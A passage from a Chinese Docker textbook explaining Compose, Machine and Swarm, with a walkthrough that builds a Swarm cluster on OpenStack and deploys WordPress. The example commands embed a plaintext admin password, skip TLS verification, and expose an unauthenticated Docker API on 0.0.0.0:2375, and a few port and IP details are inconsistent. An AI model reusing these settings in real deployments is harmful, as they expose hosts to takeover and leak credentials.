RUN mkdir -p /usr/local/tomcat/keys
VOLUME /usr/local/tomcat/keys
RUN cd /usr/local/tomcat/webapps; git clone -b master http://xx/myproj.git; cd myproj

逐条解析：

·FROM语句选择了基础镜像，即我们之前生产的tomcat：https镜像。

·MAINTAINER，指定维护者信息。

·ENV no_proxy，因为笔者服务器配有代理，所以设置了no_proxy。

·RUN mkdir，命令在容器中创建了keys文件夹。

·VOLUME指令创建了keys卷，实际上证书是从host动态挂载到容器中的。结合docker-compose的配置文件，是把host当前目录下的keys文件夹挂载到容器中。

·RUN git clone，将远程的Git源码clone到容器中，并部署。

提示

因为将证书静态拷贝到镜像中很生硬，所以工程中用了动态挂载方式将证书导入到镜像中，方便使用。之前介绍的commit方式，只是为了帮助大家了解commit的用法而已。

10.3.3　整体部署服务

其实有了docker-compose工具，部署就会变得极为简单，首先可以考虑删掉之前的镜像，然后重新build，最后一次性启动所有容器。如下：

$ sudo docker-compose rm  --force
$ sudo docker-compose  build
$ sudo docker-compose  up –d

docker-compose命令的用法会在下一章使用。其中rm--force是用来删除镜像的（主要是上次build遗留下来的）；build命令是用来制作这些镜像的；up–d是用于在后台启动这几个镜像的。

10.4　本章小结

目前，Docker已经越来越流行，将来掌握Docker可能成为不少工作的必备技能。和其他章节不同，本章注重实例和运用，主要以工程实例的方式，介绍了Docker的开发流程。对于Docker的学习，笔者认为，最好的学习方式就是实践，所以读者需要在阅读Docker相关书籍的同时，多动手，多练习，才能更好地驾驭Docker。

第11章　Docker集群管理

本章主要介绍Docker社区中提供的三大编排工具：Compose、Machine和Swarm，以及如何利用这三大工具进行Docker的集群管理。

·Docker Compose是用来组装多容器应用的工具，可以在Swarm集群中部署分布式应用。

·Docker Machine是支持多平台安装Docker的工具，使用Docker Machine，可以很方便地在笔记本、云平台及数据中心里安装Docker。

·Docker Swarm是Docker社区原生提供的容器集群管理工具。

11.1　Compose

11.1.1　Compose概述

在实际的生产环境中，一个应用往往由许多组件构成，而Docker的最佳实践是一个容器只运行一个进程，因此要运行多个组件则必须运行多个容器。在一个由多容器构成的应用里，我们需要一个有效的工具来定义一个应用由哪些容器组成，以及定义这些容器之间如何关联。为了解决以上问题，Compose便应运而生。

简单来讲，Compose是用来定义和运行一个或多个容器应用的工具。使用Compose可以简化容器镜像的建立及容器的运行。Compose使用Python语言开发，非常适合在单机环境里部署一个或多个容器，并自动把多个容器互相关联起来。

Compose是使用YML文件来定义多容器应用的，它还会用docker-compose up命令把完整的应用运行起来。docker-compose up命令为应用的运行做了所有的准备工作。从本质上来讲，Compose把YML文件解析成docker命令的参数，然后调用相应的docker命令行接口，从而把应用以容器化的方式管理起来。它通过解析容器间的依赖关系来顺序地启动容器。而容器间的依赖关系则可以通过在docker-compose.yml文件中使用“links”标记来指定。

对开发环境的搭建、应用服务的部署和CI环境的搭建来说，Compose非常不错。但是由于Compose目前还处于开发阶段，因此暂不建议在生产环境中使用。

Compose的使用基本上遵循以下三步：

1）用Dockerfile文件定义应用的运行环境，以便应用在任何地方都可以复制；基于这个Dockerfile，可以构建出一个Docker镜像。

2）用docker-compose.yml文件定义应用的各个服务，以便这些服务可以作为此应用的组件一起运行。

3）最后，执行docker-compose up命令，这样Compose就会创建和运行整个应用了。

11.1.2　Compose配置简介

Compose是对docker命令的封装，默认使用docker-compose.yml文件来指定docker各个命令中所需的参数。

以下是一个docker-compose.yml文件的简单示例，大致展示了docker-compose.yml文件的构成。

web:
build: ./web
ports:
- "5000:5000"
volumes:
- .:/code
links:
- redis
redis:
image: redis

此docker-compose.yml文件定义了两个服务：Web和Redis，服务的名称是由用户定义的。提供Web服务的镜像是通过在Web子目录下调用docker build命令得到的。Web服务运行后的监听端口是5000，并且把容器里的5000端口映射到了主机上的5000端口；其所使用的“/code”目录是通过挂载当前目录得到的。Web服务通过链接Redis容器来访问后台Redis数据库，而Redis数据库服务则是通过运行Redis镜像来提供的。

在docker-compose.yml文件中，每个定义的服务都至少要包含build或image两个命令中的一个，其他的命令都是可选的。build命令指定了包含Dockerfile的目录，可以是绝对目录也可以是相对目录，相对目录指的是相对于docker-compose.yml文件所在位置的目录。docker-compose.yml文件中的build命令对应的是docker build命令。build命令中的“dockerfile”选项对应docker build命令中的“-f”选项，可以通过指定build命令中的“dockerfile”选项来设置所需的Dockerfile。

docker-compose.yml文件中的“ports”标记对应docker run命令中的“-p”选项；“volumes”标记对应docker run命令中的“-v”选项；“links”标记对应docker run命令中的“--links”选项。

此外，docker-compose.yml文件中的image命令用于指定提供服务的镜像。

通过运行docker-compose build和docker-compose up命令，上述docker-compose.yml文件中定义的Web和Redis服务都会成功运行起来。

11.2　Machine

11.2.1　Machine概述

Docker Machine是一个简化Docker安装的命令行工具，通过一个简单的命令行即可在相应的平台上安装Docker，为用户提供了灵活的功能，使得用户可以在任意主机（不管是笔记本、数据中心中的主机，还是云主机）上运行Docker容器。这大幅度减少了开发者手动设置、编写自定义脚本的时间，而且还可以控制Machine创建的Docker主机。目前Docker Machine也支持Swarm集群。简单来讲，一个Docker Machine就是一个Docker host主机和经过配置的Docker client的结合体。

从技术上来讲，Docker Machine是一个框架，比较开放。对于任何提供虚拟机服务的平台，只要在这个框架下开发针对该平台的驱动，Docker Machine就可以与其交互，可在该平台上执行创建、删除Machine等操作，并且可控制Machine的行为如停止、启动等。

Docker Machine的软件框架如图11-1所示。

图11-1　Machine架构图

11.2.2　Machine的基本概念及运行流程

Docker Machine首先会创建一个虚拟机并在其上创建一个Docker host，然后使用Docker client和Docker host通信，从而在Docker host上创建镜像，启动容器。

用Docker Machine创建虚拟机的时候需要指定相应的驱动，目前支持本机的驱动有Oracle的VirtualBox驱动、Vmware的驱动及Windows下的Hyper-V驱动。除此之外，Docker Machine还支持云主机的创建（比如在AWS中）。只要开发了相应的驱动插件，Docker Machine就可以支持相应的平台。

每一个Docker Machine创建的虚拟机都要有一个操作系统，默认情况下，VirtualBox驱动创建的虚拟机所使用的操作系统是boot2docker，这是一个可以运行Docker容器的轻量级Linux操作系统。对于云平台的驱动所创建的虚拟机，其默认的操作系统是Ubuntu 12.04+。

Docker Machine创建的Docker host的IP地址是所创建的虚拟机的IP地址。

使用Docker Machine及VirtualBox驱动创建本地虚拟机并搭建Docker Host的运行流程如下：

1）运行“docker-machine create--driver virtualbox dev”命令。此命令首先创建用于Docker client和Docker host通信的CA证书。其次创建VirtualBox虚拟机，并配置用于通信的TLS参数及配置网络，最后部署Docker的运行环境即Docker host。

2）在Docker client里运行“eval"$（docker-machine env dev）"”命令，配置用于和Docker Host通信的环境变量。

3）使用docker相关命令创建或启动相应的容器，例如使用“docker run busybox echo hello world”命令可运行busybox工具集。

11.3　Swarm

11.3.1　Swarm概述

Swarm是Docker社区提供的原生支持Docker集群的工具。它可以把多个Docker主机组成的系统转换成为单一的虚拟Docker主机。Swarm对外提供两种API，一种是标准的Docker API，比如Dokku、Compose、Krane、Flynn、Deis、DockerUI、Shipyard、Drone、Jenkins等，当然也包括Docker Client，它们都可以通过Swarm和Docker集群进行通信；另一种是Swarm的集群管理API，用于集群的管理。

Swarm从设计之初就遵循“swap，plug and play”的原则。比如，你可以使用喜欢的调度系统来替换Swarm中原生的调度系统。这种设计原则使Swarm的扩展变得非常容易。

11.3.2　Swarm内部架构

Swarm的目标是使用同Docker引擎一样的API，将Docker客户端对API Endpoint的请求，在发往Swarm管理下的Docker引擎节点组成的集群的过程中，可根据配置好的调度策略、约束规则，分发到集群中的某个引擎节点上去处理。而对客户端来说，这些完全透明。这样实现的主要优势体现在既有的工具和API可以像单机版一样继续在Swarm集群上工作和使用。Swarm由Discovery Service模块、Scheduler模块和Leadership模块组成，它的功能框架如图11-2所示。

图11-2　Swarm架构图

1.Discovery Service

Discovery Scheduler模块用来发现Swarm集群中的节点。该模块采用即插即用的模式，目前它支持三种类型的服务发现后端：

·Docker Hub提供的服务发现后端；

·分布式的KV存储系统，现已支持Consul、Etcd和Zookeeper；

·静态描述文件和静态IP地址列表。

此外，任何服务发现的后端模块只要满足服务发现标准接口定义的功能，Swarm都可以支持。

2.Scheduler

Swarm的Sheduler模块主要负责给用户新创建的容器分配最优的节点。它通过两个阶段来选择最优的节点：首先根据用户的过滤条件筛选出符合要求的节点，然后通过调度策略选择最优的节点。

Scheduler的过滤器包括Constraint、Affinity、Dependency、Health filter和Ports filter这几种。其中Constraint过滤器中定义的约束是附加在Swarm节点上的一组键值对，可以认为这些约束就是Swarm节点的标签。Constraint过滤器中提供的标准约束有节点的ID、节点的名称，以及存储驱动、执行驱动、内核的版本和操作系统的信息。用户可根据自己的需求选择相应的过滤器。

Scheduler支持Random、Spread和Binpack这三种调度策略。Spread和Binpack策略是根据节点可利用的CPU、内存资源和当前已有的容器数量来做调度决策，Spread会把容器调度到负载低的节点上，而Binpack则是把容器调度到负载最高的节点上。至于Random，它根本不做计算，不管节点上的资源情况和容器数量如何，只做随机调度。

Spread调度策略使得系统中各个节点的负载比较均衡，即便某个节点出现故障，对系统的影响也不会很大，而Binpack则让容器部署在尽量少的节点上，提高节点承载容器的密度。它们各自的缺点也是显而易见的，需要根据要部署应用的特殊需求来选择相应的调度策略。

3.Leadership

Swarm的Leadership模块主要提供搭建Swarm HA Cluster的功能。

11.4　Docker在OpenStack上的集群实战

OpenStack是一个开源的云计算管理平台项目，由Nova、Neutron、Glance、Keystone和Cinder等组件组合协同工作，支持几乎所有类型的云环境，提供实施简单、可大规模扩展、丰富、标准统一的云计算管理平台。这里演示如何使用前面介绍的Compose、Machine和Swarm工具把Wordpress这个软件部署在基于OpenStack云平台的Docker集群里。

在这一节的演示里，采用Consul作为Swarm的Discovery Service模块。Consul是HashiCorp公司推出的开源项目，用于实现分布式系统的服务发现与配置。与其他分布式服务注册与发现的方案相比，Consul称得上是“一站式”解决方案，因为它内置了服务注册与发现框架、分布一致性协议、运行状态检查、Key/Value存储、多数据中心等，所以不再需要依赖其他工具，使用起来也比较简单。

要利用Consul实现服务的注册与发现，需要建立Consul Cluster。在Consul方案中，每个提供服务的节点上都要部署和运行Consul的agent，所有运行Consul agent节点的集合会构成Consul Cluster。Consul agent有两种运行模式：Server和Client。这里的Server和Client只是在Consul集群层面的区分，与搭建在Cluster之上的应用服务无关。以Server模式运行的Consul agent节点用于维护Consul集群的状态。

以下是在OpenStack上搭建Docker集群的主要步骤。

（1）创建虚拟机

首先使用docker-machine create命令创建6个虚拟机，其中虚拟机1用作Swarm的Master，虚拟机2用作Consul的服务发现，虚拟机3~5用作Swarm的节点。使用docker-machine create命令创建虚拟机的时候，驱动参数选择OpenStack，所创建的虚拟机要携带身份认证URL、租户、镜像、网络和安全组等信息，具体命令如下：

# docker-machine create -d openstack --openstack-insecure --openstack-auth-url=https://identity.az0.dc1.domainname.com:443/identity/v2.0 --openstack-username=cloud_admin --openstack-password=openstack123 --openstack-tenant-id=cd631140887d4b6e9c786b67a6dd4c02 --openstack-tenant-name=admin --openstack-flavor-id=2 --openstack-image-id=c98e76df-941f-4f7c-af67-acd8617e4195 --openstack-region=az0.dc1 --openstack-net-id=1f25c7b3-2fae-4c54-8175-04ad1cb3375b --openstack-availability-zone=az1.dc1 --openstack-sec-groups=26c61273-4a2a-4ac0-a0ef-ab882ad18472 --openstack-floatingip-pool=external_relay_network lfkdockermachine6
Creating machine...
To see how to connect Docker to this machine, run: docker-machine_linux-amd64 env lfkdockermachine6

其他具体的参数选项请参阅docker-machine的命令帮助文档，这里不再赘述。运行完以上命令，通过docker-machine ls命令，可以看到所创建的6个虚拟机：

# docker-machine ls
NAME                ACTIVE   DRIVER      STATE     URL                      SWARM
lfkdockermachine             openstack   Running   tcp://100.64.0.31:2376
lfkdockermachine1            openstack   Running   tcp://100.64.0.34:2376
lfkdockermachine2            openstack   Running   tcp://100.64.0.35:2376
lfkdockermachine3            openstack   Running   tcp://100.64.0.36:2376
lfkdockermachine4            openstack   Running   tcp://100.64.0.37:2376
lfkdockermachine5            openstack   Running   tcp://100.64.0.39:2376
lfkdockermachine6            openstack   Running   tcp://100.64.0.38:2376

在我们的环境里，一共新创建了6个Docker Machine，最新创建的Machine的编号为6。还可以通过OpenStack的nova list命令列出在Openstack上创建的虚拟机信息：

# nova list --all_te|grep lfk
| 65ad59c7-39df-4cbc-8957-eb2e396ac8d6 | lfkdockermachine
| ACTIVE         | -         | Running     | docker-VM_network=192.168.10.93,       100.64.0.31
|
| aeba4282-3dce-4064-bc78-b9fa4a81f86f | lfkdockermachine1
| ACTIVE        | -          | Running     | docker-VM_network=192.168.10.101, 100.64.0.34|
| 44f30cba-2679-490c-885e-95faea89169f | lfkdockermachine2
| ACTIVE        | -          | Running     | docker-VM_network=192.168.10.102, 100.64.0.35
|
| 066fe15a-1ce3-4e17-8201-01bb68a034a5 | lfkdockermachine3
| ACTIVE        | -          | Running     | docker-VM_network=192.168.10.107, 100.64.0.36
|
| 08eb527c-764d-4ba0-80d1-c7f9ca58ce49 | lfkdockermachine4
| ACTIVE         | -           | Running      | docker-VM_network=192.168.10.104, 100.64.0.37|
| 221e7e12-2cf9-439a-970b-2c1fda841476 | lfkdockermachine5
| ACTIVE         | -           | Running      | docker-VM_network=192.168.10.106, 100.64.0.39|
| 56c6054c-c6d8-4f3c-b125-1e800e0aae52 | lfkdockermachine6
| ACTIVE         | -           | Running      | docker-VM_network=192.168.10.108
|

从命令的输出可以看到，最后一项即为我们最后创建的Docker Machine“lfkdockermachine6”。

（2）搭建Swarm的Discovery Service模块

在之前Docker Machine创建的lfkdockermachine2上通过consul命令搭建Consul Server节点。

# consul agent -server -bootstrap-expect=1 -data-dir=data -bind=192.168.10.102 -client=192.168.10.102 &
[1] 3295
==> WARNING: BootstrapExpect Mode is specified as 1; this is the same as Bootstrap mode.
==> WARNING: Bootstrap mode enabled! Do not enable unless necessary
==> WARNING: It is highly recommended to set GOMAXPROCS higher than 1
==> Starting Consul agent...
==> Starting Consul agent RPC...
==> Consul agent running!
Node name: 'lfkdockermachine2'
Datacenter: 'dc1'
Server: true (bootstrap: true)
Client Addr: 192.168.10.102 (HTTP: 8500, HTTPS: -1, DNS: 8600, RPC: 8400)
Cluster Addr: 192.168.10.102 (LAN: 8301, WAN: 8302)
Gossip encrypt: false, RPC-TLS: false, TLS-Incoming: false
Atlas: <disabled>
==> Log data will now stream in as it occurs:
2015/08/07 14:52:32 [INFO] serf: EventMemberJoin: lfkdockermachine2 192.168. 10.102
2015/08/07 14:52:32 [INFO] serf: EventMemberJoin: lfkdockermachine2.dc1 192. 168.10.102
2015/08/07 14:52:32 [INFO] raft: Node at 192.168.10.102:8300 [Follower] entering Follower state
2015/08/07 14:52:32 [INFO] consul: adding server lfkdockermachine2 (Addr: 192 .168.10.102:8300) (DC: dc1)
2015/08/07 14:52:32 [INFO] consul: adding server lfkdockermachine2.dc1 (Addr: 192.168.10.102:8300) (DC: dc1)
2015/08/07 14:52:32 [ERR] agent: failed to sync remote state: No cluster leader
2015/08/07 14:52:34 [WARN] raft: Heartbeat timeout reached, starting election
2015/08/07 14:52:34 [INFO] raft: Node at 192.168.10.102:8300 [Candidate] entering Candidate state
2015/08/07 14:52:34 [INFO] raft: Election won. Tally: 1
2015/08/07 14:52:34 [INFO] raft: Node at 192.168.10.102:8300 [Leader] entering Leader state
2015/08/07 14:52:34 [INFO] consul: cluster leadership acquired
2015/08/07 14:52:34 [INFO] consul: New leader elected: lfkdockermachine2
2015/08/07 14:52:34 [INFO] raft: Disabling EnableSingleNode (bootstrap)
2015/08/07 14:52:34 [INFO] consul: member 'lfkdockermachine2' joined, marking health alive
2015/08/07 14:52:35 [INFO] agent: Synced service 'consul'

在lfkdockermachine3、lfkdockermachine4和lfkdockermachine5上搭建Consul Client节点。

# consul agent -data-dir=data -node=lfkdockermachine3 -join=192.168.10.102 -bind=192.168.10.107 -client=192.168.10.107 &
[1] 8441
==> WARNING: It is highly recommended to set GOMAXPROCS higher than 1
==> Starting Consul agent...
==> Starting Consul agent RPC...
==> Joining cluster...
Join completed. Synced with 1 initial agents
==> Consul agent running!
Node name: 'lfkdockermachine3'
Datacenter: 'dc1'
Server: false (bootstrap: false)
Client Addr: 192.168.10.107 (HTTP: 8500, HTTPS: -1, DNS: 8600, RPC: 8400)
Cluster Addr: 192.168.10.107 (LAN: 8301, WAN: 8302)
Gossip encrypt: false, RPC-TLS: false, TLS-Incoming: false
Atlas: <disabled>
==> Log data will now stream in as it occurs:
2015/08/07 14:53:29 [INFO] serf: EventMemberJoin: lfkdockermachine3 192.168. 10.107
2015/08/07 14:53:29 [INFO] agent: (LAN) joining: [192.168.10.102]
2015/08/07 14:53:29 [INFO] serf: EventMemberJoin: lfkdockermachine2 192.168. 10.102
2015/08/07 14:53:29 [INFO] agent: (LAN) joined: 1 Err: <nil>
2015/08/07 14:53:29 [ERR] agent: failed to sync remote state: No known Consul servers
2015/08/07 14:53:29 [INFO] consul: adding server lfkdockermachine2 (Addr: 192 .168.10.102:8300) (DC: dc1)

现在，在Consul Server节点lfkdockermachine2上能看到Consul Client节点加入了集群的信息，如下：

2015/08/07 14:54:22 [INFO] serf: EventMemberJoin: lfkdockermachine3 192.168.10.107
2015/08/07 14:54:22 [INFO] consul: member 'lfkdockermachine3' joined, marking health alive
2015/08/07 14:57:47 [INFO] serf: EventMemberJoin: lfkdockermachine4 192.168.10.104
2015/08/07 14:57:47 [INFO] consul: member 'lfkdockermachine4' joined, marking health alive
2015/08/07 14:59:46 [INFO] serf: EventMemberJoin: lfkdockermachine5 192.168.10.106
2015/08/07 14:59:46 [INFO] consul: member 'lfkdockermachine5' joined, marking health alive

在Consul Client节点上也能看到后加入的节点信息，比如在节点lfkdockermachine3上看到后面加入的lfkdockermachine4和lfkdockermachine5，如下：

2015/08/07 14:56:54 [INFO] serf: EventMemberJoin: lfkdockermachine4 192.168.10.104
2015/08/07 14:58:53 [INFO] serf: EventMemberJoin: lfkdockermachine5 192.168.10.106

在Consul Server节点lfkdockermachine2上可以通过consul members命令列出整个集群的综合信息，如下：

# consul members -rpc-addr=192.168.10.102:8400
2015/08/07 15:02:49 [INFO] agent.rpc: Accepted client: 192.168.10.102:53504
Node               Address              Status  Type    Build  Protocol
lfkdockermachine4  192.168.10.104:8301  alive   client  0.5.0  2
lfkdockermachine5  192.168.10.106:8301  alive   client  0.5.0  2
lfkdockermachine2  192.168.10.102:8301  alive   server  0.5.0  2
lfkdockermachine3  192.168.10.107:8301  alive   client  0.5.0  2

（3）搭建Swarm集群

前面已经创建了Consul的服务发现模块，现在可以使用swarm manage命令在之前Docker Machine创建的lfkdockermachine1上指定使用Consul的服务发现功能和Swarm的Random调度策略了。为了简化Swarm集群的搭建流程，这里直接通过官方提供的swarm可执行程序来创建Swarm Master，具体命令如下：

# swarm manage consul://192.168.10.102:8500/swarm --strategy "random" -H tcp://0.0.0.0:2375 &
[2] 3307
INFO[0000] Listening for HTTP          addr=0.0.0.0:2375 proto=tcp

下面通过使用swarm join命令把之前通过Docker Machine创建的lfkdockermachine3、lfkdockermachine4和lfkdockermachine5加入到Swarm集群。

# swarm join consul://192.168.10.102:8500/swarm --addr=192.168.10.107:2375 &
[2] 8449
INFO[0000] Registering on the discovery service every 20s...  addr=192.168.10.107:2375 discovery=consul://192.168.10.102:8500/swarm

在Swarm Master上可以看到Swarm节点加入的信息，如下：

INFO[0147] Registered Engine lfkdockermachine3 at 192.168.10.107:2375
INFO[0211] Registered Engine lfkdockermachine4 at 192.168.10.104:2375
INFO[0263] Registered Engine lfkdockermachine5 at 192.168.10.106:2375

也可以在Swarm Master通过swarm list命令查看所创建集群节点的列表。

# swarm list consul://192.168.10.102:8500/swarm
192.168.10.104:2375
192.168.10.106:2375
192.168.10.107:2375

（4）用Compose部署WordPress

WordPress是一款个人博客系统，由Web前端和MySQL数据库搭建的后台组成，抽象为Web服务和DB服务。下面通过之前介绍的docker-compose.yml来定义WordPress两个服务之间的关系：

web:
build: .
command: php -S 0.0.0.0:8000 -t /code
ports:
- "8000:8001"
links:
- db
volumes:
- .:/code
db:
image: orchardup/mysql
environment:
MYSQL_DATABASE: wordpress

然后通过docker-compose up命令来部署WordPress博客系统：

# docker-compose up
wordpress_db_1 is up-to-date
wordpress_web_1 is up-to-date
Attaching to wordpress_db_1, wordpress_web_1

现在访问Swarm Master查看应用WordPress是否部署在节点lfkdockermachine3上了，这时会启动两个容器，一个运行Web前端，一个运行DB后端：

# docker -H tcp://192.168.10.102:2375 ps -a
CONTAINER ID   IMAGE            COMMAND      PORTS      NAMES
1377f7460250   wordpress_web    "php -S 0.0.0.0:8000  192.168.10.107:8000->8000/tcp   lfkdockermachine3/wordpress_web_1
e14442b4f64f   orchardup/mysql  "/usr/local/bin/run"
3306/tcp  lfkdockermachine3/wordpress_db_1

注意

上面的docker ps的输出做了调整，并省略了CREATED和STATUS这两列。

最后可以通过docker命令来查询所搭建的Swarm集群系统的信息：

# docker -H tcp://192.168.10.102:2375 info
Containers: 2
Images: 7
Storage Driver:
Role: primary
Strategy: random
Filters: affinity, health, constraint, port, dependency
Nodes: 3
lfkdockermachine3: 192.168.10.107:2375
?.Containers: 2
?.Reserved CPUs: 0 / 1
?.Reserved Memory: 0 B / 2.03 GiB
?.Labels: executiondriver=native-0.2, kernelversion=3.13.0-24-generic, opeatingsystem=Ubuntu 14.04 LTS, provider=openstack, storagedriver=aufs
lfkdockermachine4: 192.168.10.104:2375
?.Containers: 0
?.Reserved CPUs: 0 / 1
?.Reserved Memory: 0 B / 2.03 GiB
?.Labels: executiondriver=native-0.2, kernelversion=3.13.0-24-generic, operatingsystem=Ubuntu 14.04 LTS, provider=openstack, storagedriver=aufs
lfkdockermachine5: 192.168.10.106:2375
?.Containers: 0
?.Reserved CPUs: 0 / 1
?.Reserved Memory: 0 B / 2.03 GiB
?.Labels: executiondriver=native-0.2, kernelversion=3.13.0-24-generic, operatingsystem=Ubuntu 14.04 LTS, provider=openstack, storagedriver=aufs
Execution Driver:
Kernel Version:
Operating System:
CPUs: 3
Total Memory: 6.09 GiB
Name: lfkdockermachine2
ID:
Http Proxy:
Https Proxy:
No Proxy:

11.5　本章小结

本章主要介绍了Docker社区中提供的三个重要的编排工具Compose、Machine和Swarm，以及它们的应用场景和使用方式，最后通过在OpenStack上搭建Docker集群来阐述这三个工具的具体结合使用方式。由于Swarm的社区还比较年轻，工具本身不是很成熟，因此不建议在生产环境中使用。

要想深入了解这三个工具，可以通过跟踪社区的方式来获取它们的最新信息及发展动态。

第12章　Docker生态圈

前面章节已经从Docker的使用、Docker的主要功能特性以及支撑Docker的底层容器技术和镜像分层原理等各方面对Docker做了全面的描述。但项目的成功，除了技术本身以外，更离不开生态圈的建设，Docker亦不能例外。本章将给读者呈现Docker生态圈的现状，介绍生态圈中一些比较重要的开源项目，并结合Docker的既定计划和技术路线为大家分享生态圈的未来发展。以此，让读者对Docker生态圈有一个概貌性的认识。

12.1　Docker生态圈介绍

由于Docker容器在应用的开发、发布和部署上具有便捷性和实用性，因此很快引起了业界大厂商和初创公司的追捧，Docker生态圈也由此发端。最初Docker是在Ubuntu上开发的，因为Ubuntu对aufs文件系统有很好的支持，直到现在Ubuntu也是运行Docker最多的Linux操作系统。Google是最早大规模使用容器技术的公司之一，在Docker没有出现之前，Google就有自己开发的类似LXC的容器技术Imctfy，在Docker出现之后，Google开发了Kubernetes用于支持对Docker容器的调度、部署和管理。Red Hat为Docker的推广亦起了很大的作用，Red Hat支持的Fedora社区和另一个重量级社区CoreOS都宣布支持Docker。OpenStack也加入了对Docker的支持，使得Docker在云解决方案中得到了推广。另外，开源PaaS项目Deis，基于Docker和CoreOS技术构建了类似Heroku发布流程的PaaS平台，这让更多企业看到了一个使用Docker技术的样本。

随着Docker的发展，Docker公司开始收购一些技术公司来构建Docker的商业解决方案。比如，收购Kitematic使得Docker的安装和配置过程自动化；收购持续集成服务提供商Koality以便借鉴Koality在企业市场方面的成熟经验来加强Docker Hub企业版；收购Orchard来加强Docker的工具集，特别是Orchard的编排工具Fig，可把部分容器、网络连接和存储依赖间的协调工作自动化；收购SDN技术初创公司SocketPlane促进容器网络方案的发展等。

Docker还发起了更高层级的DockerCon技术大会，进一步把业界的企业、团体、开发者引导到这场容器技术潮流中。表12-1引用了一组源于DockerCon 2015的数据，从这些数据可以一瞥Docker生态圈的繁荣程度。

表12-1　Docker生态圈发展趋势统计

从上面的回顾中可以看到，Docker生态圈实现了业界从未有过的增长态势，正是在这种发展状态下，Docker已经成为一个构建、打包和运行分布式应用的开放平台，为程序员、开发团队和运维工程师提供了通用的工具链，非常有利于他们利用现代软件的分布式和网络特性。图12-1（引用自Mindmap，这里做了部分删减）展示了当前Docker生态圈的大致分布概貌。

从图12-1中可以看到，Docker生态圈已经很庞大。除了围绕Docker引擎紧密发展的网络、镜像仓库和安全外，还有编排部署、DevOps、PaaS、大数据及数据库和配置管理等几大板块。其实这些板块之间没有太清晰的边界，都互有交叉，而且都还在不断发展壮大。

对于网络、镜像仓库和安全，本书都有专门的章节做详细介绍，本章主要挑选竞争激烈的编排部署、容器操作系统和PaaS平台等几个板块做相应的介绍。

12.2　重点项目介绍

12.2.1　编排

在云时代的今天，分布式应用很普遍，在Docker流行起来后，鉴于Docker的便捷特性，业界早就提出的微服务架构理念得到了实现的载体，这把分布式应用的形态又往前推进了一步。但是，Docker引擎本身只能提供在单机上的镜像制作、上传下载和容器的启动停止等容器管理能力，还得需要编排工具来管理分布式部署在集群上的所有容器。而这恰好使得应用的编排部署更加灵活、相互解耦，也让应用被抽象划分成了多个服务。具体到Docker的实现上来，就是把应用的各个服务分别打包成镜像，然后以镜像的方式统一发布，最后在生产环节编排部署，并向最终用户提供服务。如此一来，应用的各个服务之间则以容器的形式运行在云化环境的多台主机上。但是如何定义应用的各服务之间的依赖关系，各个服务之间应如何进行交互，怎样在云化环境上进行跨主机编排部署，怎样调度服务来响应业务请求，以及服务节点如何根据业务请求做动态伸缩等都是一系列复杂的管理任务，都面临着极大的挑战。市场的需求是技术向前创新发展的源动力，为了满足这一系列需求，涌现出了功能强大的编排部署工具，比如Google推出Kubernetes、Docker发布Swarm和Mesos推出Marathon等。这其中又涉及服务发现、集群管理、调度和运行状态的监测等内容。

图12-1　Docker生态圈分布

服务发现让应用的服务组件能及时获取其运行环境和其他服务组件的信息，通常采用全局可访问的分布式Key-Value的存储信息在服务组件之间进行信息（主要是配置信息）共享。根据这些信息，服务组件就能定位与之关联的其他服务组件，以便进行业务交互。

集群管理是控制多个主机或容器的过程，包括在集群中添加、移除主机或容器，获取主机或容器的当前状态信息，启动、停止主机或容器等操作。

调度的主要任务是主机或容器的选择，系统会根据调度策略、约束规则和过滤器等来控制调度器做出主机或容器的选择。

运行状态监测，是指监测和跟踪集群里主机或容器的运行状态。在主机或容器故障时，服务发现首先会更新其状态，调度模块和管理模块则会根据系统业务情况做出相应的调整策略（比如启动新的容器）。编排部署工具需要确保整个系统的状态总是与开发或运维人员定义的配置一致、匹配。

编排部署工具是Docker生态中运行、维护和管理容器化分布式软件的关键组件。当前比较主流的选择有Swarm、Kubernetes和Mesos。

1.Swarm

Docker公司在2014年11月的欧洲DockerCon技术大会上宣布将Swarm作为其官方集群管理工具，这可以说标志着Docker由一个容器生命周期管理工具开始向集群管理平台发展。在“Docker集群管理”一章对Swarm已经做了详细介绍，这里就不再赘述。

2.Kubernetes

Kubernetes是目前容器生态圈中最受欢迎的编排部署工具，由Google公司开发，获得了业界积极的响应。在Google宣布开源Kubernetes项目后，业界知名厂商纷纷跟进，包括CoreOS、Red Hat、Microsoft、IBM、HP和Mesosphere等都宣称支持该项目。

Kubernetes的架构基于有多个Minion节点的Master服务器。命令行工具是kubecfg，可通过它连接Master服务器的API Endpoint来管理和编排部署Slave节点。具体架构如图12-2所示（引用自Kubernets的GitHub开源项目，做了部分简化）。

运行在Kubernetes中的各个组件定义如下：

·Master：主控服务器，运行Kubernetes的管理进程，包括API服务、备份控制器和调度器等。

·Minion：运行Kubelet服务和Docker引擎的主机，Minion接受来自Master的指令。

·Kubelet：Kubernetes中节点层面的管理器，运行在Minion上。

·Pod：多个容器的集合，并且这些容器运行在同一个Minion上。Pod是Kubernetes的最小管理单元。

·Replication Controller：管理Pod的生命周期。

·Service：定义允许容器暴露出的服务和端口，还有通信交互的外部代理。

·Kubecfg：命令行接口，与Master交互，请求应用业务的部署、管理。

图12-2　Kubernetes架构框图

服务的定义，还有约束和规则都会在JSON文件中描述。Kubernetes为动态的Pod组提供静态IP地址和DNS域名来做服务发现。当运行在Pod中的容器连接这些地址时，连接请求会被本地代理（叫kube-proxy，运行在源主机上）转发到相应的后台容器中。

Kubernetes支持用户定义的运行状态检查，这些检查由运行在Minion上的Kubelet来执行，以确保应用正确地运行。Kubernetes目前支持三种类型的运行状态检查。

·HTTP Health Check：Kubelet调用Web Endpoint。如果返回码在200~399之间，则被视为成功。

·Container exec：Kubernetes在容器中执行命令，如果返回“OK”，则认为是成功的。

·TCP socket：Kubelet尝试打开一个连接容器的socket并建立连接。如果连接建立，则认为是正常的。

3.Mesos

Apache Mesos是一个开源集群管理器，最初是为支持高性能计算业务而设计的，它简化了在服务器共享资源池中运行任务的复杂性。一个典型的Mesos集群是由一个或多个运行Mesos-Master的服务器和一个运行Mesos-Slave的服务器集群组成的。Slave向Master注册自己可以提供的资源，Master与编排部署Framework交互来分发任务到Slave服务器上。以下是Mesos集群各组件的定义。

·Master Daemon：Mesos的Master服务，运行在Master节点上，管理Slave Daemon。

·Slave Daemon：Mesos的Slave服务，运行在各个Slave节点上，运行属于某个Framework的任务。

·Framework：应用的定义描述，包括调度器和执行器，调度器需要在Master上注册以便接收Offer，执行器在Slave上运行以便启动应用等。

·Offer：Slave节点上的资源列表，每个Slave节点发送Offer给Master，Master提供Offer给注册的应用的Framework。

